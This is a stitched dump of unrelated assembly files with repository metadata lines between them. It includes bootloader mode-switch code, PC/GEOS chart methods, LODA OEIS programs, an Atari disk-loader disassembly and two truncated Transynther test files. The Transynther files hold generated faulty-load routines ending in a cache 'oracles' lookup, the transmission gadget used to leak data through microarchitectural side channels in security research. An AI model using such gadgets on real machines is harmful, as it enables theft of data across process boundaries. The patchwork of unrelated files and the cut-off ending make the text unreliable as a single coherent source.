[ "BSD-2-Clause-NetBSD", "PSF-2.0", "BSD-2-Clause", "Apache-2.0", "MIT", "BSD-2-Clause-Patent" ]
494
2018-09-18T19:31:55.000Z
2022-03-30T16:52:52.000Z
BootloaderCommonPkg/Library/ThunkLib/Ia32/Thunk32To64.nasm
cshur/slimbootloader
30e24581266f98c68c8bcf9c5adf0b88b769b931
[ "BSD-2-Clause-NetBSD", "PSF-2.0", "BSD-2-Clause", "Apache-2.0", "MIT", "BSD-2-Clause-Patent" ]
142
2018-09-13T23:43:17.000Z
2022-03-25T03:40:13.000Z
; ; Copyright (c) 2021, Intel Corporation. All rights reserved.<BR> ; SPDX-License-Identifier: BSD-2-Clause-Patent ; ; ; Module Name: ; ; Thunk32To64To.nasm ; ; Abstract: ; ; This is the assembly code to transition from compatibility mode to long mode ; to execute 64-bit code and then transit back to compatibility mode. ; ;------------------------------------------------------------------------------- DEFAULT REL SECTION .text ;---------------------------------------------------------------------------- ; Procedure: AsmExecute64BitCode ; ; Input: None ; ; Output: None ; ; Prototype: UINT32 ; AsmExecute64BitCode ( ; IN UINT64 Function, ; IN UINT64 Param1, ; IN UINT64 Param2, ; IN UINT64 GdtrPtr ; ); ; ; ; Description: A thunk function to execute 64-bit code. ; ;---------------------------------------------------------------------------- global ASM_PFX(AsmExecute64BitCode) ASM_PFX(AsmExecute64BitCode): push ebp mov ebp, esp push ebx sub esp, 8 sidt [esp] ; save IDT sub esp, 8 sgdt [esp] ; save GDT cli push 0x38 ; seg for far retf push LongModeStart ; off for far retf mov eax, cr4 or al, (1 << 5) mov cr4, eax ; enable PAE mov ecx, 0xc0000080 rdmsr or ah, 1 ; set LME wrmsr mov eax, cr0 bts eax, 31 ; set PG mov cr0, eax ; enable paging retf ; topmost 2 dwords hold the address LongModeStart: DB 0x67 mov eax, [ebp + 8] ; function address DB 0x67 mov ecx, [ebp + 16] ; arg1 DB 0x67 mov edx, [ebp + 24] ; arg2 mov ebp, esp ; save esp DB 0x48 add esp, -0x20 ; add rsp, -20h DB 0x48 and esp, -0x10 ; align to 16 call eax ; call rbx DB 0x48 mov ebx, eax ; convert status to 32bit DB 0x48 shr ebx, 32 or ebx, eax mov eax, 0x10 ; load compatible mode code selector DB 0x48 shl eax, 32 mov edx, Compatible ; assume address < 4G DB 0x48 or eax, edx push eax retf Compatible: ; Reload DS/ES/SS to make sure they are correct referred to current GDT mov ax, 0x18 ; load compatible mode data selector mov ds, ax mov es, ax mov ss, ax ; Disable paging mov eax, cr0 btc eax, 31 mov cr0, eax ; Clear EFER.LME mov ecx, 0xC0000080 rdmsr btc eax, 8 wrmsr ; clear CR4 PAE mov eax, cr4 btc eax, 5 mov cr4, eax ; Restore stack pointer mov esp, ebp ; Restore GDT/IDT lgdt [esp] add esp, 8 lidt [esp] add esp, 8 mov eax, ebx pop ebx pop ebp ret
27.267717
81
0.415247
4464b7d6088a756208d0650012aa3b746429d072
6,824
asm
Assembly
Library/Chart/Axis/axisAttrs.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Library/Chart/Axis/axisAttrs.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Library/Chart/Axis/axisAttrs.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1991 -- All Rights Reserved PROJECT: PC GEOS MODULE: FILE: axisAttrs.asm AUTHOR: John Wedgwood, Oct 8, 1991 METHODS: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- John 10/ 8/91 Initial revision DESCRIPTION: Attribute methods for axisClass $Id: axisAttrs.asm,v 1.1 97/04/04 17:45:22 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% AxisSendClassedEvent %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Send this message DIRECTLY to MetaClass PASS: *ds:si - AxisClass object ds:di - AxisClass instance data es - segment of AxisClass RETURN: nothing DESTROYED: ax,cx,dx,bp REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chrisb 12/30/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ AxisSendClassedEvent method dynamic AxisClass, MSG_META_SEND_CLASSED_EVENT segmov es, <segment MetaClass>, di mov di, offset MetaClass call ObjCallClassNoLock ret AxisSendClassedEvent endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% AxisSetAttributes %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Change the axis attributes PASS: *ds:si = AxisClass object ds:di = AxisClass instance data es = Segment of AxisClass. cl - bits to set ch - bits to clear RETURN: cl - old attributes DESTROYED: ch REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 3/11/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ AxisSetAttributes method dynamic AxisClass, MSG_AXIS_SET_ATTRIBUTES uses ax .enter ECCheckFlags cl, AxisAttributes ECCheckFlags ch, AxisAttributes mov al, ds:[di].AI_attr ornf ds:[di].AI_attr, cl not ch andnf ds:[di].AI_attr, ch mov cl, al .leave ret AxisSetAttributes endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% AxisCombineNotificationData %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Combine notification data PASS: *ds:si = AxisClass object ds:di = AxisClass instance data es = Segment of AxisClass. cx = handle of notification data block (AxisNotifyBlock) RETURN: nothing DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 1/16/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ AxisCombineNotificationData method dynamic AxisClass, MSG_AXIS_COMBINE_NOTIFICATION_DATA uses bp .enter call UtilStartCombine push di lea si, ds:[di].AI_attr mov di, offset ANB_attr mov bp, offset ANB_attrDiffs call UtilCombineFlags pop di ; ; Determine whether to set X or Y axis tick attrs ; lea si, ds:[di].AI_tickAttr test ds:[di].AI_attr, mask AA_VERTICAL jnz vertical ; ; X-axis: ; mov al, mask CCF_FOUND_X_AXIS mov di, offset ANB_xAxisTickAttr mov bp, offset ANB_xAxisTickAttrDiffs jmp common vertical: mov al, mask CCF_FOUND_Y_AXIS mov di, offset ANB_yAxisTickAttr mov bp, offset ANB_yAxisTickAttrDiffs common: ; ; combine the flags, checking for the first axis of this ; orientation. ; test es:[CNBH_flags], al jz firstOne mov al, ds:[si] xor al, es:[di] or es:[bp], al jmp done firstOne: ; copy source flags directly to destination mov al, ds:[si] mov es:[di], al mov {byte} es:[bp], 0 done: call UtilEndCombine .leave ret AxisCombineNotificationData endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% AxisSetTickAttributes %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Set 'em -- being careful to distinguish between X and Y axis PASS: *ds:si = AxisClass object ds:di = AxisClass instance data es = Segment of AxisClass. cl = AxisTickAttributes to SET ch = AxisTickAttributes to CLEAR dx - nonzero for Y-AXIS, zero for X AXIS RETURN: DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 1/16/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ AxisSetTickAttributes method dynamic AxisClass, MSG_AXIS_SET_TICK_ATTRIBUTES uses ax,cx .enter ; ; See if this message is for this axis ; test ds:[di].AI_attr, mask AA_VERTICAL jz xAxis ; ; This is the Y-axis, so only take this message if DX is ; nonzero. ; tst dx jz done jmp setFlags xAxis: tst dx jnz done setFlags: call AxisSetTickAttributesCommon done: .leave ret AxisSetTickAttributes endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% AxisSetTickAttributesCommon %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Common routine to set the tick attributes for this axis. CALLED BY: AxisSetTickAttributes PASS: *ds:si - axis object ds:di - AxisClass instance data cl - AxisTickAttributes to set ch - AxisTickAttributes to clear RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chrisb 1/25/93 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ AxisSetTickAttributesCommon proc near uses ax,cx class AxisClass .enter ECCheckFlags cl, AxisTickAttributes ECCheckFlags ch, AxisTickAttributes mov al, ds:[di].AI_tickAttr ; old attributes or ds:[di].AI_tickAttr, cl ; or-in the set bits not ch and ds:[di].AI_tickAttr, ch cmp ds:[di].AI_tickAttr, al je done mov cl, mask COS_IMAGE_INVALID or mask COS_GEOMETRY_INVALID mov ax, MSG_CHART_OBJECT_MARK_INVALID call ObjCallInstanceNoLock mov cx, mask CUUIF_AXIS call UtilUpdateUI done: .leave ret AxisSetTickAttributesCommon endp
19.77971
79
0.55847
c31f438d6f49ce3ef18db19e55d281f0208e7d6d
6,749
asm
Assembly
Transynther/x86/_processed/P/_zr_/i7-8650U_0xd2_notsx.log_1665_1508.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/P/_zr_/i7-8650U_0xd2_notsx.log_1665_1508.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/P/_zr_/i7-8650U_0xd2_notsx.log_1665_1508.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r13 push %r15 push %r8 push %rbp push %rcx push %rdi push %rsi lea addresses_A_ht+0x136cd, %r13 nop nop nop nop nop inc %r8 movups (%r13), %xmm2 vpextrq $0, %xmm2, %r12 nop nop nop nop nop cmp %rbp, %rbp lea addresses_WT_ht+0x1b343, %r10 nop nop nop nop sub %rcx, %rcx mov $0x6162636465666768, %r15 movq %r15, (%r10) cmp $59976, %r8 lea addresses_WC_ht+0xf6cd, %rsi lea addresses_D_ht+0x86fd, %rdi clflush (%rdi) cmp $17820, %r13 mov $10, %rcx rep movsb nop nop nop nop and $38086, %rdi lea addresses_WC_ht+0x17d2d, %r15 nop nop nop nop sub %rsi, %rsi mov (%r15), %ebp nop nop nop nop nop xor %rsi, %rsi lea addresses_WC_ht+0xefe5, %rsi lea addresses_UC_ht+0xab2d, %rdi clflush (%rdi) nop cmp $8907, %r10 mov $7, %rcx rep movsq nop nop nop nop nop xor $49324, %r8 pop %rsi pop %rdi pop %rcx pop %rbp pop %r8 pop %r15 pop %r13 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r9 push %rax push %rbp push %rdx push %rsi // Store lea addresses_A+0x1d34d, %rsi cmp $20911, %rax movw $0x5152, (%rsi) nop nop nop nop nop sub %rax, %rax // Store lea addresses_normal+0x10436, %rbp nop nop xor $31094, %r10 movw $0x5152, (%rbp) nop nop nop nop and %r11, %r11 // Store lea addresses_PSE+0x1618c, %r9 nop nop nop dec %r11 movw $0x5152, (%r9) nop nop nop add %rbp, %rbp // Store lea addresses_D+0x15acd, %r11 nop and $53319, %rdx mov $0x5152535455565758, %rsi movq %rsi, %xmm6 movups %xmm6, (%r11) nop nop add %rbp, %rbp // Store lea addresses_UC+0x2a4d, %rax nop nop xor $52533, %rsi mov $0x5152535455565758, %r11 movq %r11, (%rax) sub $54222, %r10 // Store lea addresses_D+0x1d4d, %rdx nop and %rax, %rax mov $0x5152535455565758, %rsi movq %rsi, %xmm5 movups %xmm5, (%rdx) add $18727, %rax // Faulty Load mov $0xecd, %r11 nop nop nop nop nop sub $39599, %rax mov (%r11), %esi lea oracles, %r10 and $0xff, %rsi shlq $12, %rsi mov (%r10,%rsi,1), %rsi pop %rsi pop %rdx pop %rbp pop %rax pop %r9 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_P', 'size': 1, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_P', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': True, 'NT': True, 'congruent': 1, 'same': True}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}} {'00': 1665} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
33.577114
2,999
0.653726
ba4d10c35669640a7b6b0eb3897ab4dc4fe61d9a
284
asm
Assembly
smsq/qd/trap0.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
smsq/qd/trap0.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
smsq/qd/trap0.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
; QDOS Trap #0 Emulation V2.01  1993 Tony Tebby QJUMP section qd xdef qd_trap0 include 'dev8_keys_68000' dc.l 0,0,0,0 ; 16 bytes for cache patch ;+++ ; Goto supervisor mode ;--- qd_trap0 bset #sr..s,(sp) ; ... set supervisor mode rte ; and return end
15.777778
59
0.623239
50b56e3b475dd7a1819f83722317e9218bab80eb
583
asm
Assembly
oeis/188/A188045.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/188/A188045.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/188/A188045.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A188045: Positions of 0 in A188044; complement of A188046. ; Submitted by Jamie Morken(s3) ; 2,4,7,9,12,14,19,21,24,26,31,33,36,38,41,43,48,50,53,55,60,62,65,67,70,72,77,79,82,84,89,91,94,96,101,103,106,108,111,113,118,120,123,125,130,132,135,137,140,142,147,149,152,154,159,161,164,166,171,173,176,178,181,183,188,190,193,195,200,202,205,207,210,212,217,219,222,224,229,231,234,236,239,241,246,248,251,253,258,260,263,265,270,272,275,277,280,282,287,289 mov $1,$0 seq $1,188298 ; Positions of 0 in A188297; complement of A188299. mul $0,$1 mul $1,2 div $0,$1 sub $1,$0 mov $0,$1
48.583333
363
0.708405
5ce69b8fafd5ddacba6949b1ba3ebe4d710b1024
1,949
asm
Assembly
patches/koala/loader/disasm/koala_boot_block_2.asm
fcatrin/a8tools
2792cfbabc9e3fd369550b810f631d62e03c8b90
[ "MIT" ]
3
2020-07-02T15:11:23.000Z
2020-07-03T19:59:08.000Z
patches/koala/loader/disasm/koala_boot_block_2.asm
fcatrin/a8tools
2792cfbabc9e3fd369550b810f631d62e03c8b90
[ "MIT" ]
null
null
null
patches/koala/loader/disasm/koala_boot_block_2.asm
fcatrin/a8tools
2792cfbabc9e3fd369550b810f631d62e03c8b90
[ "MIT" ]
null
null
null
; BLOCK 2 koala_boot.xex org $0400 /* 0400: A9 60 */ lda #$60 /* 0402: 8D 00 03 */ sta DDEVIC /* 0405: A9 00 */ lda #$00 /* 0407: 8D 01 03 */ sta DUNIT /* 040A: A9 52 */ lda #$52 /* 040C: 8D 02 03 */ sta DCOMND /* 040F: A9 40 */ lda #$40 /* 0411: 8D 03 03 */ sta DSTATS /* 0414: A9 FE */ lda #$FE /* 0416: 8D 04 03 */ sta DBUFLO| ; load block at $6FE /* 0419: A9 06 */ lda #$06 /* 041B: 8D 05 03 */ sta DBUFHI /* 041E: A9 35 */ lda #$35 /* 0420: 8D 06 03 */ sta DTIMLO /* 0423: A9 2F */ lda #$2F /* 0425: 8D 08 03 */ sta DBYTLO| ; block size is $52F /* 0428: A9 05 */ lda #$05 /* 042A: 8D 09 03 */ sta DBYTHI /* 042D: A9 80 */ lda #$80 /* 042F: 8D 0B 03 */ sta DAUX2 /* 0432: 20 59 E4 */ jsr SIOV /* 0435: 4C 00 07 */ jmp L_0700 /* 0438: 00 */ .byte $00, $00, $00, $00, $00, $00, $00, $00 /* 0440: 00 */ .byte $00, $00, $00, $00, $00, $00, $00, $00 /* 0448: 00 */ .byte $00, $00, $00, $00, $00, $00, $00, $00 /* 0450: 00 */ .byte $00, $00, $00, $00, $00, $00, $00, $00 /* 0458: 00 */ .byte $00, $00, $00, $00, $00, $00, $00, $00 /* 0460: 00 */ .byte $00, $00, $00, $00, $00, $00, $00, $00 /* 0468: 00 */ .byte $00, $00, $00, $00, $00, $00, $00, $00 /* 0470: 00 */ .byte $00, $00, $00, $00, $00, $00, $00, $00 /* 0478: 00 */ .byte $00, $00, $00, $00, $00, $00, $00, $00
52.675676
83
0.3294
23ec9919bb87781ebedb1d826516a7bda6bda5f3
664
asm
Assembly
oeis/022/A022124.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/022/A022124.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/022/A022124.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A022124: Fibonacci sequence beginning 3, 13. ; Submitted by Jamie Morken(s4) ; 3,13,16,29,45,74,119,193,312,505,817,1322,2139,3461,5600,9061,14661,23722,38383,62105,100488,162593,263081,425674,688755,1114429,1803184,2917613,4720797,7638410,12359207,19997617,32356824,52354441,84711265,137065706,221776971,358842677,580619648,939462325,1520081973,2459544298,3979626271,6439170569,10418796840,16857967409,27276764249,44134731658,71411495907,115546227565,186957723472,302503951037,489461674509,791965625546,1281427300055,2073392925601,3354820225656,5428213151257,8783033376913 mov $1,3 mov $2,10 lpb $0 sub $0,1 mov $3,$2 mov $2,$1 add $1,$3 lpe mov $0,$1
47.428571
496
0.811747
ad92f55d35574900dabb860bf3d8b30fc58903e5
7,260
asm
Assembly
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca_notsx.log_21829_181.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca_notsx.log_21829_181.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca_notsx.log_21829_181.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r9 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_D_ht+0x1423, %rbp nop sub %r9, %r9 mov (%rbp), %r12 nop nop nop lfence lea addresses_normal_ht+0xa7da, %rsi lea addresses_normal_ht+0xa32a, %rdi clflush (%rsi) nop xor %r11, %r11 mov $113, %rcx rep movsw nop nop nop nop add $28090, %rdi lea addresses_A_ht+0x15fda, %rbp sub $9582, %r12 movb (%rbp), %r11b xor %rbx, %rbx lea addresses_WT_ht+0x9fd4, %rsi lea addresses_UC_ht+0x15fda, %rdi nop nop nop and $21212, %r12 mov $34, %rcx rep movsl nop nop add %rbp, %rbp lea addresses_D_ht+0x163ec, %r9 add %rdi, %rdi movb $0x61, (%r9) nop nop nop nop add $33831, %rsi lea addresses_A_ht+0x72da, %rsi lea addresses_WC_ht+0x1afda, %rdi clflush (%rdi) nop nop nop inc %r9 mov $23, %rcx rep movsl nop nop nop nop xor %r9, %r9 lea addresses_WC_ht+0x179ca, %rbx nop nop nop nop xor %rdi, %rdi movw $0x6162, (%rbx) and %rbx, %rbx lea addresses_normal_ht+0x173da, %rdi nop nop nop sub %rcx, %rcx mov $0x6162636465666768, %r9 movq %r9, %xmm0 vmovups %ymm0, (%rdi) nop nop nop and %r12, %r12 lea addresses_WT_ht+0xf09a, %rcx nop nop nop nop nop add $17384, %r9 mov (%rcx), %r11w nop xor %rbx, %rbx lea addresses_normal_ht+0xefa4, %r11 cmp %rdi, %rdi mov $0x6162636465666768, %rbx movq %rbx, (%r11) nop nop nop nop nop cmp %r12, %r12 pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r9 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r13 push %r9 push %rax push %rbp push %rcx push %rdi push %rsi // REPMOV lea addresses_WC+0x133da, %rsi lea addresses_A+0x132be, %rdi nop nop nop nop lfence mov $122, %rcx rep movsw nop nop nop and %rsi, %rsi // Store lea addresses_WC+0x1e7da, %rbp xor $48525, %r13 movw $0x5152, (%rbp) nop nop nop add %r13, %r13 // Store lea addresses_normal+0x429a, %rdi nop mfence mov $0x5152535455565758, %rbp movq %rbp, %xmm6 movups %xmm6, (%rdi) nop nop nop sub $47970, %r13 // Faulty Load lea addresses_WC+0x1e7da, %rdi clflush (%rdi) nop nop xor $974, %rbp movups (%rdi), %xmm1 vpextrq $0, %xmm1, %r9 lea oracles, %rax and $0xff, %r9 shlq $12, %r9 mov (%rax,%r9,1), %r9 pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r13 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'} {'src': {'congruent': 10, 'same': False, 